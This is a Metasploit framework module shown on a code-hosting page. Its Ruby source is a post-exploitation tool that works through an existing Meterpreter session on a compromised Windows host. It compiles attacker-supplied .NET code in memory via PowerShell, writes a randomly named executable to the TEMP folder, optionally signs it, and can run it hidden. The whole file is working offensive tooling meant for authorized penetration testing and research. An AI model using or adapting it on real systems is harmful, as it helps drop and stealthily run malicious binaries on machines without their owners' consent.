Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/build_net_code.rb
19611 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
Rank = ExcellentRanking
8
9
include Msf::Post::Windows::Powershell
10
include Msf::Exploit::Powershell::DotNet
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Powershell .NET Compiler',
17
'Description' => %q{
18
This module will build a .NET source file using powershell. The compiler builds
19
the executable or library in memory and produces a binary. After compilation the
20
PowerShell session can also sign the executable if provided a path the
21
a .pfx formatted certificate. Compiler options and a list of assemblies
22
required can be configured in the datastore.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
26
'Platform' => [ 'windows' ],
27
'SessionTypes' => [ 'meterpreter' ],
28
'DisclosureDate' => '2012-08-14',
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_fs_stat
33
stdapi_sys_config_getenv
34
stdapi_sys_config_getsid
35
stdapi_sys_process_execute
36
]
37
}
38
},
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [],
42
'Reliability' => []
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
50
OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
51
OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', 'mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll' ]),
52
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
53
OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
54
OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
55
]
56
)
57
register_advanced_options(
58
[
59
OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
60
]
61
)
62
end
63
64
def run
65
fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
66
fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?
67
68
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
69
if client.sys.config.is_system?
70
print_error 'Cannot run as system'
71
return 0
72
end
73
74
# End of file marker
75
eof = Rex::Text.rand_text_alpha(8)
76
env_suffix = Rex::Text.rand_text_alpha(8)
77
net_com_opts = {}
78
net_com_opts[:target] =
79
datastore['OUTPUT_TARGET'] ||
80
"#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(8..15)}.exe"
81
net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
82
net_com_opts[:provider] = datastore['CODE_PROVIDER']
83
net_com_opts[:assemblies] = datastore['ASSEMBLIES']
84
net_com_opts[:net_clr] = datastore['NET_CLR_VER']
85
net_com_opts[:cert] = datastore['CERT_PATH']
86
87
begin
88
net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
89
script = dot_net_compiler(net_com_opts)
90
if datastore['Powershell::Post::dry_run']
91
print_good "Compiler code:\n#{script}"
92
return
93
end
94
rescue StandardError => e
95
print_error e
96
return
97
end
98
99
vprint_good "Writing to #{net_com_opts[:target]}"
100
101
# Execute the powershell script
102
print_status 'Building remote code.'
103
cmd_out, running_pids, open_channels = execute_script(script, true)
104
get_ps_output(cmd_out, eof)
105
vprint_good "Cleaning up #{running_pids.join(', ')}"
106
107
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
108
109
# Check for result
110
begin
111
size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
112
print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
113
rescue StandardError
114
print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
115
" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
116
return
117
end
118
119
# Run the result
120
if datastore['RUN_BINARY']
121
cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
122
nil, 'Hidden' => true, 'Channelized' => true)
123
while (out = cmd_out.channel.read)
124
print_good out
125
end
126
end
127
128
print_good 'Finished!'
129
end
130
end
131
132